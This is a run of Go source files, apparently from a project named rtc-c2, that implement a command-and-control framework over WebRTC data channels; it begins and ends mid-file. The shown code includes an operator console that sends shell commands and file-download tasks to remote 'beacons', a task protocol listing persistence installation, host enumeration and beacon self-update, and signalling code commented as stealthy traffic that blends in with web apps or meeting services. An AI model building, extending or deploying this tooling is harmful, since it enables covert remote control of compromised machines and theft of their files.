fmt.Printf("no forward on %s\n", localAddr)
return
}
fl.Stop()
fmt.Printf("[-] Forward stopped: %s\n", localAddr)
}
func (op *Operator) useBeacon(beaconID string, reader *bufio.Reader) {
op.mu.RLock()
session, ok := op.beacons[beaconID]
op.mu.RUnlock()
if !ok {
// Try prefix match
for id, s := range op.beacons {
if len(id) >= len(beaconID) && id[:len(beaconID)] == beaconID {
session = s
beaconID = id
ok = true
break
}
}
}
if !ok {
fmt.Printf("beacon '%s' not found\n", beaconID)
return
}
op.activeBeacon = beaconID
fmt.Printf("[+] Using beacon %s (%s@%s)\n", beaconID[:12], session.Username, session.Hostname)
fmt.Println(" Commands: exec <cmd>, info, download <path>, whoami, back")
fmt.Print(" > ")
for {
line, err := reader.ReadString('\n')
if err != nil {
return
}
line = strings.TrimSpace(line)
if line == "" {
fmt.Print(" > ")
continue
}
if line == "back" || line == "exit" {
return
}
parts := strings.SplitN(line, " ", 2)
subCmd := strings.ToLower(parts[0])
switch subCmd {
case "exec", "run":
if len(parts) < 2 {
fmt.Println("usage: exec <command>")
break
}
cmdName := strings.TrimSpace(parts[1])
go func() {
task, err := protocol.NewTask(protocol.TaskExec, &protocol.ExecArgs{
Command: cmdName,
})
if err != nil {
fmt.Printf("create task error: %v\n", err)
return
}
if err := op.sendTask(beaconID, task); err != nil {
fmt.Printf("send task error: %v\n", err)
return
}
fmt.Printf("[*] Task %s sent to %s\n", task.ID[:8], beaconID[:12])
}()
case "info":
task, _ := protocol.NewTask(protocol.TaskInfo, nil)
_ = op.sendTask(beaconID, task)
fmt.Printf("[*] Info request sent\n")
case "whoami":
task, _ := protocol.NewTask(protocol.TaskWhoami, nil)
_ = op.sendTask(beaconID, task)
fmt.Printf("[*] Whoami request sent\n")
case "download":
if len(parts) < 2 {
fmt.Println("usage: download <path>")
break
}
path := strings.TrimSpace(parts[1])
task, err := protocol.NewTask(protocol.TaskDownload, &protocol.DownloadArgs{
RemotePath: path,
})
if err != nil {
fmt.Printf("error: %v\n", err)
break
}
_ = op.sendTask(beaconID, task)
fmt.Printf("[*] Download request for %s sent\n", path)
default:
fmt.Println("commands: exec <cmd>, info, whoami, download <path>, back")
}
fmt.Print(" > ")
}
}
func (op *Operator) listBeacons() {
op.mu.RLock()
defer op.mu.RUnlock()
if len(op.beacons) == 0 {
fmt.Println("No beacons connected. Waiting...")
return
}
fmt.Printf("Connected beacons (%d):\n", len(op.beacons))
fmt.Println(strings.Repeat("-", 60))
fmt.Printf("%-24s %-16s %-8s %-8s\n", "Beacon ID", "User@Host", "OS", "Arch")
fmt.Println(strings.Repeat("-", 60))
for _, s := range op.beacons {
id := s.ID
if len(id) > 12 {
id = id[:12] + "..."
}
userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname)
fmt.Printf("%-24s %-16s %-8s %-8s\n", id, userHost, s.OS, s.Arch)
}
}
func printHelp() {
fmt.Print(`
Commands:
beacons List connected beacons
use <id> Interactive beacon session
forward <local> <remote> Direct TCP forward (SSH -L style)
Example: forward 127.0.0.1:4444 10.0.1.100:80
forwards List active forwards
stop-forward <local> Stop a forward listener
help Show this help
exit Shut down
Beacon session commands:
exec <cmd> Run command on beacon
info Get system info
whoami Get user identity
download <path> Download file from beacon
back Return to main menu
Example: forward 127.0.0.1:4444 internal.service:80
curl http://127.0.0.1:4444/path
`)
}
func (op *Operator) consoleCleanup() {
fmt.Print("\nShutting down...\n")
}
+32
View File
@@ -0,0 +1,32 @@
module github.com/ek0ms/rtc-c2
go 1.26.2
require (
github.com/gorilla/websocket v1.5.3
github.com/pion/webrtc/v4 v4.2.12
)
require (
github.com/google/uuid v1.6.0 // indirect
github.com/pion/datachannel v1.6.0 // indirect
github.com/pion/dtls/v3 v3.1.2 // indirect
github.com/pion/ice/v4 v4.2.5 // indirect
github.com/pion/interceptor v0.1.44 // indirect
github.com/pion/logging v0.2.4 // indirect
github.com/pion/mdns/v2 v2.1.0 // indirect
github.com/pion/randutil v0.1.0 // indirect
github.com/pion/rtcp v1.2.16 // indirect
github.com/pion/rtp v1.10.1 // indirect
github.com/pion/sctp v1.9.5 // indirect
github.com/pion/sdp/v3 v3.0.18 // indirect
github.com/pion/srtp/v3 v3.0.10 // indirect
github.com/pion/stun/v3 v3.1.2 // indirect
github.com/pion/transport/v4 v4.0.1 // indirect
github.com/pion/turn/v5 v5.0.3 // indirect
github.com/wlynxg/anet v0.0.5 // indirect
golang.org/x/crypto v0.48.0 // indirect
golang.org/x/net v0.50.0 // indirect
golang.org/x/sys v0.41.0 // indirect
golang.org/x/time v0.14.0 // indirect
)
+58
View File
@@ -0,0 +1,58 @@
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/pion/datachannel v1.6.0 h1:XecBlj+cvsxhAMZWFfFcPyUaDZtd7IJvrXqlXD/53i0=
github.com/pion/datachannel v1.6.0/go.mod h1:ur+wzYF8mWdC+Mkis5Thosk+u/VOL287apDNEbFpsIk=
github.com/pion/dtls/v3 v3.1.2 h1:gqEdOUXLtCGW+afsBLO0LtDD8GnuBBjEy6HRtyofZTc=
github.com/pion/dtls/v3 v3.1.2/go.mod h1:Hw/igcX4pdY69z1Hgv5x7wJFrUkdgHwAn/Q/uo7YHRo=
github.com/pion/ice/v4 v4.2.5 h1:5umUQy4hX6HwMsCnJ0SX337YYCeTWDgC9JWyvUqHIHs=
github.com/pion/ice/v4 v4.2.5/go.mod h1:aaABRaykEYnNjccjbiimuYxViaASeuv5mk9BpplUxK0=
github.com/pion/interceptor v0.1.44 h1:sNlZwM8dWXU9JQAkJh8xrarC0Etn8Oolcniukmuy0/I=
github.com/pion/interceptor v0.1.44/go.mod h1:4atVlBkcgXuUP+ykQF0qOCGU2j7pQzX2ofvPRFsY5RY=
github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8=
github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so=
github.com/pion/mdns/v2 v2.1.0 h1:3IJ9+Xio6tWYjhN6WwuY142P/1jA0D5ERaIqawg/fOY=
github.com/pion/mdns/v2 v2.1.0/go.mod h1:pcez23GdynwcfRU1977qKU0mDxSeucttSHbCSfFOd9A=
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
github.com/pion/rtcp v1.2.16 h1:fk1B1dNW4hsI78XUCljZJlC4kZOPk67mNRuQ0fcEkSo=
github.com/pion/rtcp v1.2.16/go.mod h1:/as7VKfYbs5NIb4h6muQ35kQF/J0ZVNz2Z3xKoCBYOo=
github.com/pion/rtp v1.10.1 h1:xP1prZcCTUuhO2c83XtxyOHJteISg6o8iPsE2acaMtA=
github.com/pion/rtp v1.10.1/go.mod h1:rF5nS1GqbR7H/TCpKwylzeq6yDM+MM6k+On5EgeThEM=
github.com/pion/sctp v1.9.5 h1:QoSFB/drmAsmSeSFNQNI3xx010nW4HsycCZckRVWWag=
github.com/pion/sctp v1.9.5/go.mod h1:N20Dq6LY+JvJDAh9VVh1JELngb2rQ8dPgds5yBWiPgw=
github.com/pion/sdp/v3 v3.0.18 h1:l0bAXazKHpepazVdp+tPYnrsy9dfh7ZbT8DxesH5ZnI=
github.com/pion/sdp/v3 v3.0.18/go.mod h1:ZREGo6A9ZygQ9XkqAj5xYCQtQpif0i6Pa81HOiAdqQ8=
github.com/pion/srtp/v3 v3.0.10 h1:tFirkpBb3XccP5VEXLi50GqXhv5SKPxqrdlhDCJlZrQ=
github.com/pion/srtp/v3 v3.0.10/go.mod h1:3mOTIB0cq9qlbn59V4ozvv9ClW/BSEbRp4cY0VtaR7M=
github.com/pion/stun/v3 v3.1.2 h1:86IhD8wFn6IDW4b1/0QzoQS+f5PeA8OHHRn8UZW5ErY=
github.com/pion/stun/v3 v3.1.2/go.mod h1:H7gDic7nNwlUL05pbs6T1dtaBehh/KjupxfWw3ZI7cA=
github.com/pion/transport/v3 v3.1.1 h1:Tr684+fnnKlhPceU+ICdrw6KKkTms+5qHMgw6bIkYOM=
github.com/pion/transport/v3 v3.1.1/go.mod h1:+c2eewC5WJQHiAA46fkMMzoYZSuGzA/7E2FPrOYHctQ=
github.com/pion/transport/v4 v4.0.1 h1:sdROELU6BZ63Ab7FrOLn13M6YdJLY20wldXW2Cu2k8o=
github.com/pion/transport/v4 v4.0.1/go.mod h1:nEuEA4AD5lPdcIegQDpVLgNoDGreqM/YqmEx3ovP4jM=
github.com/pion/turn/v4 v4.1.4 h1:EU11yMXKIsK43FhcUnjLlrhE4nboHZq+TXBIi3QpcxQ=
github.com/pion/turn/v4 v4.1.4/go.mod h1:ES1DXVFKnOhuDkqn9hn5VJlSWmZPaRJLyBXoOeO/BmQ=
github.com/pion/turn/v5 v5.0.3 h1:I+Nw0fQgdPWF1SXDj0egWDhCkcff7gWiigdQpOK52Ak=
github.com/pion/turn/v5 v5.0.3/go.mod h1:fs4SogUh/aRGQzonc4Lx3Jp4EU3j3t0PfNDEd9KcD/w=
github.com/pion/webrtc/v4 v4.2.12 h1:ux8i+aJxu0OdhcAcVO39JEeodWugD0wdVJoRDtXk1CY=
github.com/pion/webrtc/v4 v4.2.12/go.mod h1:M/DeGZkhdWZVmVgGr34HOD9yUDekVJtz9c9PGO18urQ=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=
golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+119
View File
@@ -0,0 +1,119 @@
// Package protocol defines the C2 message format, task types, and crypto layer
// that runs over the WebRTC data channel transport.
package protocol
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"time"
)
// MessageType indicates the kind of C2 message.
type MessageType string
const (
MsgHeartbeat MessageType = "heartbeat"
MsgTask MessageType = "task"
MsgTaskResult MessageType = "task_result"
MsgTunnelOpen MessageType = "tunnel_open"
MsgTunnelData MessageType = "tunnel_data"
MsgTunnelClose MessageType = "tunnel_close"
MsgRegister MessageType = "register"
MsgError MessageType = "error"
MsgShutdown MessageType = "shutdown"
MsgPing MessageType = "ping"
MsgPong MessageType = "pong"
)
// Envelope is the outer wrapper for all C2 messages.
type Envelope struct {
Type MessageType `json:"type"`
ID string `json:"id"`
Timestamp int64 `json:"ts"`
SenderID string `json:"sender"`
Payload json.RawMessage `json:"payload,omitempty"`
}
// NewEnvelope creates a new message envelope with a random ID.
func NewEnvelope(msgType MessageType, senderID string, payload interface{}) (*Envelope, error) {
id := generateID()
var raw json.RawMessage
if payload != nil {
data, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("protocol: marshal payload: %w", err)
}
raw = data
}
return &Envelope{
Type: msgType,
ID: id,
Timestamp: time.Now().UnixMilli(),
SenderID: senderID,
Payload: raw,
}, nil
}
// Serialize returns the JSON-encoded envelope.
func (e *Envelope) Serialize() ([]byte, error) {
return json.Marshal(e)
}
// ParseEnvelope decodes a JSON-encoded envelope.
func ParseEnvelope(data []byte) (*Envelope, error) {
var env Envelope
if err := json.Unmarshal(data, &env); err != nil {
return nil, fmt.Errorf("protocol: parse envelope: %w", err)
}
return &env, nil
}
// ExtractPayload deserializes the payload into the given type.
func (e *Envelope) ExtractPayload(v interface{}) error {
if len(e.Payload) == 0 {
return nil
}
return json.Unmarshal(e.Payload, v)
}
// HeartbeatPayload is sent by the beacon to indicate it's alive.
type HeartbeatPayload struct {
BeaconID string `json:"beacon_id"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
PID int `json:"pid"`
Uptime int64 `json:"uptime"`
PrevTaskID string `json:"prev_task_id,omitempty"`
}
// RegisterPayload is sent when a beacon first connects.
type RegisterPayload struct {
BeaconID string `json:"beacon_id"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
PID int `json:"pid"`
Elevated bool `json:"elevated"`
PublicIP string `json:"public_ip,omitempty"`
Capabilities []string `json:"capabilities"`
}
// ErrorPayload carries error information.
type ErrorPayload struct {
Code int `json:"code"`
Message string `json:"message"`
TaskID string `json:"task_id,omitempty"`
}
func generateID() string {
b := make([]byte, 12)
rand.Read(b)
return hex.EncodeToString(b)
}
+128
View File
@@ -0,0 +1,128 @@
package protocol
import (
"encoding/json"
"fmt"
"time"
)
// TaskType identifies the command to execute on the beacon.
type TaskType string
const (
// Execution
TaskExec TaskType = "exec" // Execute a shell command
TaskExecPty TaskType = "exec_pty" // Execute in a PTY
TaskUpload TaskType = "upload" // Upload a file to beacon
TaskDownload TaskType = "download" // Download a file from beacon
TaskLs TaskType = "ls" // List directory
TaskPs TaskType = "ps" // List processes
// Persistence
TaskInstall TaskType = "install" // Install persistence mechanism
// Networking
TaskTunnelConnect TaskType = "tunnel_connect" // Connect TCP through tunnel
TaskPortFwd TaskType = "port_fwd" // Port forwarding (reverse)
TaskWhoami TaskType = "whoami" // Get identity
// Information
TaskInfo TaskType = "info" // Get system info
TaskNetstat TaskType = "netstat" // Network connections
TaskEnv TaskType = "env" // Environment variables
TaskEnumHost TaskType = "enum_host" // Host enumeration
// Beacon control
TaskSleep TaskType = "sleep" // Set beacon sleep interval
TaskExit TaskType = "exit" // Terminate beacon
TaskUpdate TaskType = "update" // Update beacon binary
) // end TaskType constants
// Task represents a single C2 task sent to a beacon.
type Task struct {
ID string `json:"id"`
Type TaskType `json:"type"`
Args json.RawMessage `json:"args,omitempty"`
Timeout int `json:"timeout,omitempty"` // seconds
CreatedAt int64 `json:"created_at"`
}
// NewTask creates a new task with the given type and arguments.
func NewTask(taskType TaskType, args interface{}) (*Task, error) {
var raw json.RawMessage
if args != nil {
data, err := json.Marshal(args)
if err != nil {
return nil, fmt.Errorf("task: marshal args: %w", err)
}
raw = data
}
return &Task{
ID: generateID(),
Type: taskType,
Args: raw,
Timeout: 30,
CreatedAt: time.Now().UnixMilli(),
}, nil
}
// TaskResult is the response from a beacon after executing a task.
type TaskResult struct {
TaskID string `json:"task_id"`
Success bool `json:"success"`
Output string `json:"output,omitempty"`
Error string `json:"error,omitempty"`
ExitCode int `json:"exit_code,omitempty"`
Duration int64 `json:"duration_ms"`
Timestamp int64 `json:"ts"`
}
// ExtractArgs deserializes the task arguments into the given type.
func (t *Task) ExtractArgs(v interface{}) error {
if len(t.Args) == 0 {
return nil
}
return json.Unmarshal(t.Args, v)
}
// --- Typed argument payloads ---
// ExecArgs carries shell command arguments.
type ExecArgs struct {
Command string `json:"command"`
Args []string `json:"args,omitempty"`
Shell string `json:"shell,omitempty"` // e.g., /bin/bash, powershell.exe
}
// UploadArgs carries file upload arguments.
type UploadArgs struct {
RemotePath string `json:"remote_path"`
Data string `json:"data"` // base64-encoded
Mode int `json:"mode,omitempty"`
}
// DownloadArgs carries file download arguments.
type DownloadArgs struct {
RemotePath string `json:"remote_path"`
}
// SleepArgs sets the beacon's check-in interval.
type SleepArgs struct {
Interval int `json:"interval"` // seconds
Jitter int `json:"jitter,omitempty"`
}
// LsArgs lists a directory.
type LsArgs struct {
Path string `json:"path"`
}
// PortFwdArgs sets up port forwarding.
type PortFwdArgs struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
Protocol string `json:"protocol,omitempty"` // tcp, udp
}
+307
View File
@@ -0,0 +1,307 @@
// Package signaller handles SDP exchange between the operator and beacon.
// During development, this uses a simple HTTP rendezvous server.
// In Ghost Calls mode, this would be replaced with meeting-channel signalling.
package signaller
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"sync"
"time"
"github.com/gorilla/websocket"
"github.com/pion/webrtc/v4"
)
// Signaller is the interface for exchanging SDP descriptions.
type Signaller interface {
// SendLocalDescription transmits this peer's SDP to the remote.
SendLocalDescription(sdp webrtc.SessionDescription) error
// ReceiveRemoteDescription blocks until a remote SDP is received.
ReceiveRemoteDescription() (*webrtc.SessionDescription, error)
}
// HTTPSignaller exchanges SDP through a rendezvous HTTP server.
// Simple, works for LAN and same-network development.
type HTTPSignaller struct {
client *http.Client
baseURL string
sessionKey string
role string
}
// NewHTTPSignaller creates a new HTTP signaller.
func NewHTTPSignaller(baseURL, sessionKey, role string) *HTTPSignaller {
return &HTTPSignaller{
client: &http.Client{
Timeout: 30 * time.Second,
},
baseURL: baseURL,
sessionKey: sessionKey,
role: role,
}
}
func (h *HTTPSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
data, err := json.Marshal(sdp)
if err != nil {
return fmt.Errorf("signaller: marshal sdp: %w", err)
}
url := fmt.Sprintf("%s/sdp/%s/%s", h.baseURL, h.sessionKey, h.role)
resp, err := h.client.Post(url, "application/json", bytes.NewReader(data))
if err != nil {
return fmt.Errorf("signaller: post: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("signaller: post %d: %s", resp.StatusCode, string(body))
}
return nil
}
func (h *HTTPSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
// Determine which role to poll for
remoteRole := "beacon"
if h.role == "beacon" {
remoteRole = "operator"
}
url := fmt.Sprintf("%s/sdp/%s/%s", h.baseURL, h.sessionKey, remoteRole)
for i := 0; i < 60; i++ {
resp, err := h.client.Get(url)
if err != nil {
return nil, fmt.Errorf("signaller: get: %w", err)
}
if resp.StatusCode == http.StatusOK {
var sdp webrtc.SessionDescription
if err := json.NewDecoder(resp.Body).Decode(&sdp); err != nil {
resp.Body.Close()
return nil, fmt.Errorf("signaller: decode: %w", err)
}
resp.Body.Close()
return &sdp, nil
}
resp.Body.Close()
time.Sleep(500 * time.Millisecond)
}
return nil, fmt.Errorf("signaller: timeout waiting for remote description")
}
// SignallerServer is the HTTP/WS rendezvous server for SDP exchange.
type SignallerServer struct {
mu sync.RWMutex
sdpMap map[string]map[string]webrtc.SessionDescription
server *http.Server
upgrader websocket.Upgrader
}
// NewSignallerServer creates a new signaller rendezvous server.
func NewSignallerServer(addr string) *SignallerServer {
s := &SignallerServer{
sdpMap: make(map[string]map[string]webrtc.SessionDescription),
}
s.upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
mux := http.NewServeMux()
mux.HandleFunc("/sdp/", s.handleSDP)
mux.HandleFunc("/ws", s.handleWebSocket)
mux.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("ok"))
})
s.server = &http.Server{
Addr: addr,
Handler: mux,
}
return s
}
// Start begins listening for SDP exchanges.
func (s *SignallerServer) Start() error {
addr := s.server.Addr
if addr == "" {
addr = ":9090"
s.server.Addr = addr
}
fmt.Printf("[signaller] listening on %s\n", addr)
return s.server.ListenAndServe()
}
// Stop gracefully shuts down the signaller server.
func (s *SignallerServer) Stop() error {
return s.server.Close()
}
// Addr returns the listening address.
func (s *SignallerServer) Addr() string {
return s.server.Addr
}
// StoreSDP stores an SDP description for a session/role.
func (s *SignallerServer) StoreSDP(sessionKey, role string, sdp webrtc.SessionDescription) {
s.mu.Lock()
defer s.mu.Unlock()
if s.sdpMap[sessionKey] == nil {
s.sdpMap[sessionKey] = make(map[string]webrtc.SessionDescription)
}
s.sdpMap[sessionKey][role] = sdp
}
// GetSDP retrieves an SDP description for a session/role.
func (s *SignallerServer) GetSDP(sessionKey, role string) (*webrtc.SessionDescription, error) {
s.mu.RLock()
defer s.mu.RUnlock()
entry, ok := s.sdpMap[sessionKey]
if !ok {
return nil, fmt.Errorf("not found")
}
sdp, ok := entry[role]
if !ok {
return nil, fmt.Errorf("not found")
}
return &sdp, nil
}
// handleWebSocket upgrades connections for WebSocket SDP exchange.
func (s *SignallerServer) handleWebSocket(rw http.ResponseWriter, r *http.Request) {
sessionKey := r.URL.Query().Get("sess")
role := r.URL.Query().Get("role")
action := r.URL.Query().Get("action")
if sessionKey == "" || role == "" {
http.Error(rw, "missing sess or role", http.StatusBadRequest)
return
}
if action == "" {
http.Error(rw, "missing action (sdp|wait)", http.StatusBadRequest)
return
}
conn, err := s.upgrader.Upgrade(rw, r, nil)
if err != nil {
log.Printf("[ws-signaller] upgrade error: %v", err)
return
}
defer conn.Close()
log.Printf("[ws-signaller] %s joined session %s (action=%s)", role, sessionKey, action)
switch action {
case "sdp":
// Read SDP from WebSocket and store it
_, msg, err := conn.ReadMessage()
if err != nil {
log.Printf("[ws-signaller] read sdp: %v", err)
return
}
var sdp webrtc.SessionDescription
if err := json.Unmarshal(msg, &sdp); err != nil {
log.Printf("[ws-signaller] bad sdp: %v", err)
return
}
s.StoreSDP(sessionKey, role, sdp)
case "wait":
// Wait for the remote's SDP
remoteRole := "beacon"
if role == "beacon" {
remoteRole = "operator"
}
for i := 0; i < 120; i++ {
sdp, err := s.GetSDP(sessionKey, remoteRole)
if err == nil && sdp != nil {
data, _ := json.Marshal(sdp)
conn.WriteMessage(websocket.TextMessage, data)
return
}
time.Sleep(500 * time.Millisecond)
}
conn.WriteMessage(websocket.TextMessage, []byte(`{"error":"timeout"}`))
}
}
func (s *SignallerServer) handleSDP(w http.ResponseWriter, r *http.Request) {
// Path: /sdp/{sessionKey}/{role}
parts := r.URL.Path[len("/sdp/"):]
if parts == "" {
http.Error(w, "missing session key", http.StatusBadRequest)
return
}
// Split into session key and role
var sessionKey, role string
n := 0
for i, c := range parts {
if c == '/' {
sessionKey = parts[:i]
role = parts[i+1:]
n = i
break
}
}
if sessionKey == "" || role == "" {
http.Error(w, "expected /sdp/{sessionKey}/{role}", http.StatusBadRequest)
return
}
_ = n
switch r.Method {
case http.MethodPost, http.MethodPut:
var sdp webrtc.SessionDescription
if err := json.NewDecoder(r.Body).Decode(&sdp); err != nil {
http.Error(w, "bad json: "+err.Error(), http.StatusBadRequest)
return
}
s.mu.Lock()
if s.sdpMap[sessionKey] == nil {
s.sdpMap[sessionKey] = make(map[string]webrtc.SessionDescription)
}
s.sdpMap[sessionKey][role] = sdp
s.mu.Unlock()
w.WriteHeader(http.StatusCreated)
fmt.Fprintf(w, "stored sdp for %s/%s", sessionKey, role)
case http.MethodGet:
s.mu.RLock()
entry, ok := s.sdpMap[sessionKey]
if !ok {
s.mu.RUnlock()
http.Error(w, "not found", http.StatusNotFound)
return
}
sdp, ok := entry[role]
s.mu.RUnlock()
if !ok {
http.Error(w, "not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(sdp)
default:
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
}
}
+94
View File
@@ -0,0 +1,94 @@
package signaller
import (
"encoding/json"
"fmt"
"log"
"net/http"
"time"
"github.com/gorilla/websocket"
"github.com/pion/webrtc/v4"
)
// WebSocketSignaller exchanges SDP through WebSocket connections.
// Stealthier than HTTP polling — single persistent connection,
// looks like a normal web app or live data feed (Technique 3).
type WebSocketSignaller struct {
baseURL string
sessionKey string
role string
}
// NewWebSocketSignaller creates a WebSocket-based signaller client.
func NewWebSocketSignaller(baseURL, sessionKey, role string) *WebSocketSignaller {
return &WebSocketSignaller{
baseURL: baseURL,
sessionKey: sessionKey,
role: role,
}
}
// SendLocalDescription sends this peer's SDP via WebSocket.
func (w *WebSocketSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
url := fmt.Sprintf("%s?sess=%s&role=%s&action=sdp", w.baseURL, w.sessionKey, w.role)
dialer := websocket.Dialer{
HandshakeTimeout: 10 * time.Second,
}
conn, _, err := dialer.Dial(url, http.Header{})
if err != nil {
return fmt.Errorf("ws-signaller: dial: %w", err)
}
defer conn.Close()
data, err := json.Marshal(sdp)
if err != nil {
return fmt.Errorf("ws-signaller: marshal: %w", err)
}
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
return fmt.Errorf("ws-signaller: write: %w", err)
}
return nil
}
// ReceiveRemoteDescription waits for and returns the remote peer's SDP.
func (w *WebSocketSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
url := fmt.Sprintf("%s?sess=%s&role=%s&action=wait", w.baseURL, w.sessionKey, w.role)
dialer := websocket.Dialer{
HandshakeTimeout: 10 * time.Second,
}
conn, _, err := dialer.Dial(url, http.Header{})
if err != nil {
return nil, fmt.Errorf("ws-signaller: dial: %w", err)
}
defer conn.Close()
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return nil, fmt.Errorf("ws-signaller: read: %w", err)
}
// Check for error response
var errResp struct {
Error string `json:"error"`
}
if json.Unmarshal(msg, &errResp) == nil && errResp.Error != "" {
return nil, fmt.Errorf("ws-signaller: %s", errResp.Error)
}
var sdp webrtc.SessionDescription
if err := json.Unmarshal(msg, &sdp); err != nil {
log.Printf("[ws-signaller] bad sdp: %v", err)
continue
}
return &sdp, nil
}
}
+104
View File
@@ -0,0 +1,104 @@
// Package transport provides WebRTC-based transport for the rtc-c2 framework.
// It wraps Pion WebRTC to manage peer connections, data channels, and ICE/TURN connectivity.
package transport
import (
"crypto/rand"
"encoding/hex"
"fmt"
"time"
)
// Role indicates whether this instance creates the offer (Operator) or answers (Beacon).
type Role int
const (
RoleOperator Role = iota
RoleBeacon
)
func (r Role) String() string {
switch r {
case RoleOperator:
return "operator"
case RoleBeacon:
return "beacon"
default:
return "unknown"
}
}
// ICEServerConfig defines a STUN or TURN server for NAT traversal.
type ICEServerConfig struct {
URLs []string `json:"urls"`
Username string `json:"username,omitempty"`
Credential string `json:"credential,omitempty"`
}
// Config holds all transport layer configuration.
type Config struct {
// Role of this peer (operator or beacon)
Role Role `json:"role"`
// ICE servers for NAT traversal
ICEServers []ICEServerConfig `json:"ice_servers"`
// Data channel configuration
DataChannelName string `json:"data_channel_name"`
// WebRTC settings
Mtu int `json:"mtu"`
ReconnectDelay time.Duration `json:"reconnect_delay"`
MaxReconnectRetries int `json:"max_reconnect_retries"`
// Peer ID — unique identifier for this instance
PeerID string `json:"peer_id"`
}
// DefaultConfig returns a sensible default configuration.
// Uses Google's public STUN servers by default; TURN can be added.
func DefaultConfig(role Role) *Config {
peerID := generatePeerID()
return &Config{
Role: role,
ICEServers: []ICEServerConfig{
{
URLs: []string{
"stun:stun.l.google.com:19302",
"stun:stun1.l.google.com:19302",
},
},
},
DataChannelName: "rtc-c2-channel",
Mtu: 1500,
ReconnectDelay: 5 * time.Second,
MaxReconnectRetries: 10,
PeerID: peerID,
}
}
// WithTURN adds TURN relay servers to the configuration.
// For development, use coturn. For Ghost Calls-style operation, use provider TURN.
func (c *Config) WithTURN(urls []string, username, credential string) *Config {
c.ICEServers = append(c.ICEServers, ICEServerConfig{
URLs: urls,
Username: username,
Credential: credential,
})
return c
}
// WithAdditionalSTUN adds STUN servers.
func (c *Config) WithAdditionalSTUN(urls ...string) *Config {
c.ICEServers = append(c.ICEServers, ICEServerConfig{URLs: urls})
return c
}
func generatePeerID() string {
b := make([]byte, 8)
if _, err := rand.Read(b); err != nil {
